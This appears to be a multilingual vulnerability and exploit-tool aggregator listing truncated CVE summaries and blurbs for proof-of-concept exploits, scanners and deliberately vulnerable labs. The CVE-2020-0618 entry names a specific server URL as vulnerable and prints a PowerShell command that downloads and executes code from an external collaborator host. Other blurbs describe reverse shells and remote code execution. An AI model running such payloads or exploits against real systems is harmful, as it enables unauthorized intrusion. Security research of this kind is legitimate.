EUVD-2026-76743

The application's role-authorization lookup defaults to granting access when a request handler's name is not present in its table of role requirements, rather than defaulting to deny. Any request handler that is not explicitly registered in this table is reachable by any authenticated user...

The vulnerability of the pg_dump utility in the PostgreSQL database management system allows a hacker to execute arbitrary code.

The vulnerability of the pgdump utility in the PostgreSQL database management system is related to the lack of security measures for SQL query structures. Exploiting this vulnerability allows a malicious actor to execute arbitrary code remotely...

The vulnerability of the MmMapIoSpace() function in the ThrottleBlood.sys driver allows a hacker to escalate their privileges, execute arbitrary code, or cause a service failure.

The vulnerability of the MmMapIoSpace function in the ThrottleBlood.sys driver, as part of the ThrottleStop utility, is related to open IOCTLs with insufficient access control. Exploiting this vulnerability could allow an attacker to enhance their privileges, execute arbitrary code, or cause...

firepwner

CVE-2015-6357：针对 Cisco FireSIGHT 管理中心 SSL 验证漏洞的 FirePWNER 漏洞利用程序 简介 单独来看，Cisco FireSIGHT 管理中心证书验证漏洞是一个中等 严重性漏洞，CVSS 评分为 5.1 。然而，该漏洞恰好说明了 SSL 证书验证为何如此重要。在本次漏洞利用中，我将演示如何利用该漏洞在 Cisco FireSIGHT 系统上获得特权远程命令执行。该漏洞利用将 SSL 验证漏洞与 Cisco FireSIGHT 系统的软件更新流程串联起来，诱骗目标系统下载恶意更新并执行它，从而获得具有 root 权限的反向 Shell。 漏洞...

CVE-2026-62134

An Insecure Direct Object References (IDOR) vulnerability was identified in the WordPress Starter Templates plugin (versions ≤ 4.7.5 ). The flaw allows a contributor-level authenticated user to manipulate objects they should not have access to, resulting in a low integrity impact (CVSS 4.3, MEDIU...

CVE-2026-62132 WordPress Masteriyo - LMS plugin <= 3.4.0 - Broken Access Control vulnerability

Subscriber Broken Access Control in Masteriyo - LMS = 3.4.0 versions...

FireStorePwn

FireStorePwn fsp APKを使用したFirestoreデータベース脆弱性スキャナー fspはAPKをスキャンし、Firestoreデータベースの安全でないルールを認証あり/なしでテストします。 セキュリティルールに問題がある場合、攻撃者はデータを盗んだり、改ざんしたり、削除したりして、請求額を上げる可能性があります。 動作の仕組み fspのインストール root@kitploit: sudo wget https://raw.githubusercontent.com/takito1812/FireStorePwn/main/fsp -O /bin/fsp sudo chm...

CVE-2025-55182-POC

CVE-2025-55182 POC 与检测 React Server Components RSC 不安全反序列化漏洞利用与检测工具集合 漏洞信息 CVE-ID : CVE-2025-55182 影响版本 : React 19.x, Next.js 15.x/16.x（使用 App Router 时） 攻击向量 : RSC Flight 协议反序列化时通过原型污染实现 RCE 风险等级 : 严重（CVSS 10.0） 📦 组件 1. 漏洞环境 Docker docker-compose.yml - Next.js 15.0.3 + React 19.0.0-rc...

CVE-2026-10036-speechbrain-rce

CVE-2026-10036：SpeechBrain 通过 CKPT.yaml 解析实现任意代码执行 严重性： 高危，CVSS 4.0 8.7 ，CVSS 3.1 8.8 （由 CNA VulnCheck 分配） 向量（v4.0）： CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 向量（v3.1）： CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 受影响版本： SpeechBrain listcheckpoints - constructcheckpointobjec...

Roundcube-CVE-2025-49113

Roundcube RCE エクスプロイト CVE-2025-49113 CVE-2025-49113 に対する完全に機能する実証コード 🧠 概要 CVE-2025-49113 は、脆弱性はアプリケーションのセッションパーサーのロジック欠陥の結果であり、PHP オブジェクトの安全でないデシリアライゼーションを許容します。認証されたユーザーは、この問題を悪用してサーバー上で任意のコマンドを実行できます。 🔥 影響 有効な認証情報 （低権限のユーザーアカウントでも）を持つ攻撃者は、この欠陥を悪用して以下を行うことができます： 任意のシステムコマンドを実行する。...

CVE-2025-24813-PoC-Apache-Tomcat-RCE

Apache Tomcat CVE-2025-24813 Prueba de Concepto PoC Una prueba de concepto de exploit para la vulnerabilidad de deserialización en Apache Tomcat CVE-2025-24813. Esta herramienta demuestra cómo los atacantes podrían explotar la deserialización insegura en la gestión de sesiones de Tomcat...

CVE-2025-59287

在本研究中，我们将剖析在 Microsoft Windows Server Update Services WSUS 环境中发现的严重漏洞（CVE-2025-59287）。该漏洞源于发送至 GetCookie 端点的 AuthorizationCookie 对象的不安全反序列化：加密的 Cookie 数据使用 AES-128-CBC 解密，随后通过 BinaryFormatter 进行反序列化，且未经过适当的类型验证，从而能够以 SYSTEM 权限执行远程代码。 此 EXP 首先需要获取 Wusu 的密钥。该密钥需通过其他攻击手段获取。这一点需要予以说明。...

mobsfscan

mobsfscan mobsfscan は、Android および iOS のソースコード内の安全でないコードパターンを検出できる静的解析ツールです。Java、Kotlin、Android XML、iOS Info.plist、Swift、Objective C コードをサポートします。mobsfscan は MobSF の静的解析ルールを使用し、semgrep と libsast パターンマッチャーを搭載しています。 インドで とともに作成されました mobsfscan をサポート mobsfscan を気に入っていただき、役に立つと感じた場合は、寄付をご検討ください。 eラーニングコ...

PipeViewer

Windows 名前付きパイプを表示し、安全でないアクセス許可を検索するための GUI ツールです。 このツールは、Docker 名前付きパイプに関する調査の一環として公開されました。 "Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 1" "Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 2" 概要 PipeViewer は、Window...

php_code_analysis

this script will scan your code the script can find 1. checkfileupload issues 2. hostheaderinjection 3. SQl injection 4. insecure deserialization 5. openredirect 6. SSRF 7. XSS 8. LFI 9. commandinjection features 1. fast 2. simple report usage: root@kitploit: python code.py file.php -this will sc...

react2shellVulnApp

React2Shell 易受攻击银行应用实验室 为 CVE-2025-55182 React 和 CVE-2025-66478 Next.js 特意构建的易受攻击银行应用，用于学习、检测并安全地实践 React2Shell。运行未修复的 React 19.0.0 和 Next.js 15.0.3。 概述 虚构的 SecureBank，基于 Next.js 应用路由器与 Server Actions 构建。 默认配置，无自定义危险代码，故意保持未修复状态。 旨在研究 RSC “Flight” 协议中的不安全反序列化，并练习检测/缓解措施。 快速启动（推荐 Docker）...

sharepoint-toolshell-cve-2025-53770

SharePoint "ToolShell" RCE エクスプロイト CVE-2025-53770 概要 CVE-2025-53770 は、Microsoft SharePoint Server 2016、2019、および Subscription Edition オンプレミスのみ、SharePoint Online は対象外 に影響を与える重大なリモートコード実行 RCE...

CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - 存在漏洞的链接 $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex' $bytes =...

Telerik_CVE-2019-18935

TelerikUI Python Scanner telerikrcescan.py Ejemplos Evaluar una IP para CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Evaluar un hostname para CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Evaluar un rango de red CIDR para CVE-2019-18935 $ python3...

IoTGoat

Descripción El Proyecto IoTGoat es un firmware deliberadamente inseguro basado en OpenWrt y mantenido por OWASP como una plataforma para educar a desarrolladores de software y profesionales de la seguridad en las pruebas de vulnerabilidades que se encuentran comúnmente en los dispositivos IoT. Lo...